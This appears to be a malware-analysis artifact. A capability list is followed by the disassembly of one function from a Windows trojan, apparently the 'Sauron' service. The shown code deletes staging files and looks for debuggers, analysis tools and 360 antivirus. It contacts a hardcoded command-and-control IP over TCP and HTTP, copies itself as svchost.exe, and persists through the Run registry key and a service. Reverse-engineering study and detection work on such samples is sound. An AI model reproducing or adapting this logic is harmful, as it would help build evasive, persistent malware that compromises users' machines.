Function at 0x1000afa5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Copy file
Create http request
Create tcp socket
Create thread
Create udp socket
Delete file
Initialize winsock library
Persist via run registry key
Read data from internet
Receive data
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd44
push esi
push edi
push str.C:del
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:_tzfz
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:1.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:2.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1004f5a4
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:xxxx.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:xxxx.inst.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
push str.C:ProgramDataMicrosoftProgramxxxxxx.jpg
call fcn.1000241c
add esp, 8
push 1
push str.C:MicrosoftiXXX3XXX.dat
call fcn.1000241c
add esp, 8
push 1
push str.C:Microsoftxxxxxxxx.exe
call fcn.1000241c
add esp, 8
push 1
push str.C:MicrosoftXXXXX.xml
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataMicrosoftiXXX3XXX.exe
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataMicrosoftxxxxxxxx.dat
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataMicrosoftXXXXX.xml
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataMicrosoftProgram
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramData360EntDT
call fcn.1000241c
add esp, 8
push 1
push str.C:Microsoft
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataProgram
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramData
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataxxxxxxx.exe
call fcn.1000241c
add esp, 8
push 1
push str.C:xx.exe
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataxxxxxxx.rar
call fcn.1000241c
add esp, 8
push 1
push str.C:ProgramDataxxx.rar
call fcn.1000241c
add esp, 8
mov eax, 1
test eax, eax
je 0x1000b81f
push 0x1004f7c8
push 0x10055630
call fcn.100120d0
add esp, 8
push str.XueTr
push 0x10055a30
call fcn.100120d0
add esp, 8
push str.c32asm
push 0x10055e30
call fcn.100120d0
add esp, 8
push str.OllyDbg
push 0x10056230
call fcn.100120d0
add esp, 8
push str.Process_Monitor
push 0x10056630
call fcn.100120d0
add esp, 8
push str.PowerTool
push 0x10056a30
call fcn.100120d0
add esp, 8
push 0x1004f804
push 0x10056e30
call fcn.100120d0
add esp, 8
push 0x1004f80c
push 0x10057230
call fcn.100120d0
add esp, 8
push 0x1004f818
push 0x10057630
call fcn.100120d0
add esp, 8
push 0x1004f820
push 0x10057a30
call fcn.100120d0
add esp, 8
jmp 0x1000b1c6
cmp dword [0x1005562c], 0
je 0x1000b1de
mov dword [0x1005562c], 0
jmp 0x1000b80f
cmp dword [0x1004e094], 1
jne 0x1000b1ec
call fcn.1000ae12
cmp dword [0x1004e09c], 1
jne 0x1000b20a
push 0
push 0
push 0
push 0x10009668
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1004e0a0], 1
jne 0x1000b228
push 0
push 0
push 0
push 0x10009f97
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1004e0a4], 1
jne 0x1000b270
push 0
push 0
push 0
push 0x1000a1a7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000af41
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000aedb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1004e0a8], 1
jne 0x1000b36d
push str.360Tray.exe
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000b2ea
push 0
push 0x1004f834
call fcn.100122a7
add esp, 8
cmp eax, 0xffffffff
je 0x1000b2bb
push 1
push 0
push 0
push 0
push 0x10003d1a
push 0
push 0
call fcn.100107b2
add esp, 0x1c
push str.iiiiiiiiiiiiiiii.exe
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000b2e5
push 1
push 0
push 0
push 0
push 0x10003d1a
push 0
push 0
call fcn.100107b2
add esp, 0x1c
jmp 0x1000b36d
push str.360tray.exe
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000b354
push 0
push str.c:xxxx.ini
call fcn.100122a7
add esp, 8
cmp eax, 0xffffffff
je 0x1000b328
push 1
push 0
push 0
push 0
push 0x10003d1a
push 0
push 0
call fcn.100107b2
add esp, 0x1c
push str.iiiiiiiiiiiii.exe
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000b352
push 1
push 0
push 0
push 0
push 0x10003d1a
push 0
push 0
call fcn.100107b2
add esp, 0x1c
jmp 0x1000b36d
push 1
push 0
push 0
push 0
push 0x10003d1a
push 0
push 0
call fcn.100107b2
add esp, 0x1c
cmp dword [0x1004e0ac], 1
jne 0x1000b433
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 5
jge 0x1000b433
mov ecx, dword [0x1004ddac]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x1b8], str.143.92.36.133
lea edx, [ebp - 0x1a0]
push edx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1b4], eax
mov word [ebp - 0x1b0], 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x10], eax
mov ax, word [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ae], ax
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1ac], eax
push 0x10
lea edx, [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x1000b417
jmp 0x1000b433
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 2
jle 0x1000b42e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1000b381
cmp dword [0x1004e0b0], 1
jne 0x1000b58b
mov dword [ebp - 0x1bc], 0
jmp 0x1000b45b
mov edx, dword [ebp - 0x1bc]
add edx, 1
mov dword [ebp - 0x1bc], edx
cmp dword [ebp - 0x1bc], 3
jge 0x1000b58b
push 0x824
push 0
lea eax, [ebp - 0x9e4]
push eax
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x9ec], 0
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
je 0x1000b586
push str.143.92.36.133
push str.http:___s_ip.txt
lea ecx, [ebp - 0xaf0]
push ecx
call fcn.1001242b
add esp, 0xc
push 0
push 0x80000100
push 0
push 0
lea edx, [ebp - 0xaf0]
push edx
mov eax, dword [ebp - 0x1c0]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x9e8], eax
cmp dword [ebp - 0x9e8], 0
je 0x1000b586
lea ecx, [ebp - 0x9ec]
push ecx
push 0x824
lea edx, [ebp - 0x9e4]
push edx
mov eax, dword [ebp - 0x9e8]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x9ec], 0
ja 0x1000b4f9
lea ecx, [ebp - 0x9e4]
push ecx
call fcn.100123b0
add esp, 4
cmp eax, 0x10
jae 0x1000b56c
lea edx, [ebp - 0x9e4]
push edx
push str.143.92.36.133
call fcn.100122f0
add esp, 8
test eax, eax
je 0x1000b562
lea eax, [ebp - 0x9e4]
push eax
push str.143.92.36.133
call fcn.100120d0
add esp, 8
mov dword [ebp - 0x1bc], 4
mov ecx, dword [ebp - 0x9e8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x1c0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1000b44c
mov ecx, 0x10054cd0
call fcn.1000ec78
mov eax, 0x1004df64
test eax, eax
je 0x1000b5ba
push 1
push 0
push 0
push 0x1004df64
push 0x10008c13
push 0
push 0
call fcn.100107b2
add esp, 0x1c
cmp dword [0x1004defc], 0
jne 0x1000b7ee
cmp dword [0x1004def8], 1
jne 0x1000b68f
mov byte [ebp - 0xc0c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xc0b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 6
mov esi, str.C:Windows_
lea edi, [ebp - 0xb08]
rep movsd dword es:[edi], dword [esi]
push 0x104
lea ecx, [ebp - 0xc0c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea edx, [ebp - 0xb08]
push edx
lea eax, [ebp - 0xc0c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0xc10]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b677
push 0x18
lea edx, [ebp - 0xb08]
push edx
push 1
push 0
push 0x10057e44
mov eax, dword [ebp - 0xc10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 1
test edx, edx
je 0x1000b68f
call fcn.100084e6
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b677
cmp dword [0x1004def4], 1
jne 0x1000b7ee
call fcn.1000bbcc
test eax, eax
je 0x1000b6e4
mov dword [ebp - 0xc20], str.Sauron
mov dword [ebp - 0xc1c], 0x100086e7
mov dword [ebp - 0xc18], 0
mov dword [ebp - 0xc14], 0
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.100084e6
jmp 0x1000b7ee
mov byte [ebp - 0xd3c], 0x43
mov byte [ebp - 0xd3b], 0x3a
mov byte [ebp - 0xd3a], 0x5c
mov byte [ebp - 0xd39], 0x57
mov byte [ebp - 0xd38], 0x69
mov byte [ebp - 0xd37], 0x6e
mov byte [ebp - 0xd36], 0x64
mov byte [ebp - 0xd35], 0x6f
mov byte [ebp - 0xd34], 0x77
mov byte [ebp - 0xd33], 0x73
mov byte [ebp - 0xd32], 0x5c
mov byte [ebp - 0xd31], 0x73
mov byte [ebp - 0xd30], 0x76
mov byte [ebp - 0xd2f], 0x63
mov byte [ebp - 0xd2e], 0x68
mov byte [ebp - 0xd2d], 0x6f
mov byte [ebp - 0xd2c], 0x73
mov byte [ebp - 0xd2b], 0x74
mov byte [ebp - 0xd2a], 0x2e
mov byte [ebp - 0xd29], 0x65
mov byte [ebp - 0xd28], 0x78
mov byte [ebp - 0xd27], 0x65
mov byte [ebp - 0xd26], 0
lea ecx, [ebp - 0xd3c]
mov dword [ebp - 0xd44], ecx
push 0xe1
lea edx, [ebp - 0xd24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
mov eax, dword [ebp - 0xd44]
push eax
lea ecx, [ebp - 0xd24]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.10008390
push str.Sauronij_Lmnopqrst_Vwxyabc_Efghijkl_Nop
push str.Sauron_Jklmnopq_Stuvwxya_Cdef
push str.Sauron
call fcn.1000b825
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100084e6
push 0
call fcn.10012e0b
cmp dword [0x1004defc], 1
jne 0x1000b80f
mov edx, 1
test edx, edx
je 0x1000b80f
call fcn.100084e6
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b7f7
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b0f8
pop edi
pop esi
mov esp, ebp
pop ebp
ret